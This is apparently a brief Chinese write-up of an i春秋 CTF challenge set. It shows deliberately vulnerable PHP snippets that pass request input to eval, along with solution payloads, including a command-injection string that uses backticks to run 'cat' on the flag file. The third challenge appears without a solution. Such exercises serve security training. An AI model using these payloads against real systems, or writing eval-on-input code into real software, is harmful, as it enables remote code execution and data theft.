From: i春秋 百度杯”CTF
一:
<?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['hello']; //$a这个变量请求变量hello的值 if(!preg_match('/^w*$/',$a )){ //正则表达式,匹配字符串,w表示字符+数字+下划线,*代表有若干个w字符组成。 die('ERROR');//不匹配则输出ERROR } eval("var_dump($$a);"); //如果匹配输出$$a的值 show_source(__FILE__); ?>
PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。于是我们在url上构造/?hello=GLOBALS,结果就直接出来了!根本不是爆破好吧!
答案:/?hello=GLOBALS
二:
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
反引号位 (`) 是可以执行命令的
答案:?hello=);echo%20`cat%20./flag.php`;//
三:
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>